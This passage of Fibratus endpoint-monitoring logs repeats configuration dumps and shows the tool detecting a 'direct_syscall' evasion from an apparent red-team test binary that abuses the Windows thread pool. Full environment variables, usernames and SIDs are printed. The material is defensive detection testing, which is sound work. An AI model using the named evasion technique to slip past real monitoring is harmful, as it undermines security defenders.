macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-size=>100 log-stdout=>true max-backups=>15 max-age=>0 level=>info] + output ......................... [ amqp=>[ enabled=>false delivery-mode=>transient tls-insecure-skip-verify=>false exchange-type=>topic routing-key=>fibratus url=>amqp://localhost:5672 durable=>false passive=>false exchange=>fibratus vhost=>/ timeout=>5s] http=>[ method=>POST enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty] elasticsearch=>[ trace-log=>false timeout=>5s gzip-compression=>false enabled=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] index-name=>fibratus template-name=>fibratus bulk-workers=>1 healthcheck=>true sniff=>false flush-period=>1s healthcheck-timeout=>5s] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-mmaps=>false skip-registry=>false enabled=>false skip-allocs=>false skip-files=>false excluded-files=>[] excluded-procs=>[] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:40:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:40:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:40:28+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2030143 + Pid: 5464 + Tid: 20216 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:40:27.7706884 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 1a28a6b1a80, subprocess_tag➜ 0, task_id➜ 1a28a6c3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 5464 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:41:20+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:41:20+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:41:21+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:42:09+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:42:09+01:00 level=info msg=bootstrapping with pid 628. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:42:09+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html use-template=>true port=>25 enabled=>false to=>[]]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-thread=>true enable-image=>true enable-dns=>false buffer-size=>512 enable-mem=>false stack-enrichment=>true max-buffers=>36 enable-registry=>true enable-threadpool=>true enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-fileio=>true enable-handle=>false flush-interval=>1s enable-net=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-backups=>15 level=>info max-size=>100 log-stdout=>true max-age=>0] + output ......................... [ amqp=>[ durable=>false timeout=>5s enabled=>false delivery-mode=>transient exchange-type=>topic vhost=>/ routing-key=>fibratus passive=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange=>fibratus] elasticsearch=>[ servers=>[http://127.0.0.1:9200] enabled=>false gzip-compression=>false bulk-workers=>1 template-name=>fibratus timeout=>5s flush-period=>1s sniff=>false healthcheck=>true healthcheck-timeout=>5s healthcheck-interval=>10s index-name=>fibratus trace-log=>false] http=>[ serializer=>json tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false enabled=>false timeout=>5s method=>POST] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false scan-timeout=>10s excluded-procs=>[] fastscan=>true excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-files=>false skip-registry=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:42:09+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:42:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:42:16+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2052781 + Pid: 19516 + Tid: 19020 + Type: SubmitThreadpoolWork + CPU: 7 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:42:16.0375168 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 1fc7de91a80, subprocess_tag➜ 0, task_id➜ 1fc7dea3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 19516 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:43:20+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:43:20+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:43:21+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:43:45+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:43:45+01:00 level=info msg=bootstrapping with pid 21824. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:43:45+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 enabled=>false to=>[] use-template=>true content-type=>text/html] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-registry=>true enable-handle=>false enable-fileio=>true enable-threadpool=>true flush-interval=>1s enable-dns=>false enable-thread=>true enable-audit-api=>true max-buffers=>36 stack-enrichment=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-mem=>false enable-vamap=>true min-buffers=>16 enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-size=>100 max-backups=>15 formatter=>text log-stdout=>true level=>info] + output ......................... [ amqp=>[ timeout=>5s exchange-type=>topic tls-insecure-skip-verify=>false exchange=>fibratus routing-key=>fibratus enabled=>false url=>amqp://localhost:5672 durable=>false passive=>false delivery-mode=>transient vhost=>/] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ flush-period=>1s servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s template-name=>fibratus timeout=>5s index-name=>fibratus trace-log=>false enabled=>false healthcheck=>true sniff=>false gzip-compression=>false bulk-workers=>1 healthcheck-interval=>10s] http=>[ tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false method=>POST serializer=>json timeout=>5s endpoints=>[]]] + pe ............................. [ read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false fastscan=>true excluded-procs=>[] scan-timeout=>10s skip-registry=>false excluded-files=>[] skip-mmaps=>false enabled=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:43:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:43:48+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:43:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2102656 + Pid: 10104 + Tid: 17164 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:43:51.7412583 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 296920e1a80, subprocess_tag➜ 0, task_id➜ 296920f3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 10104 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual 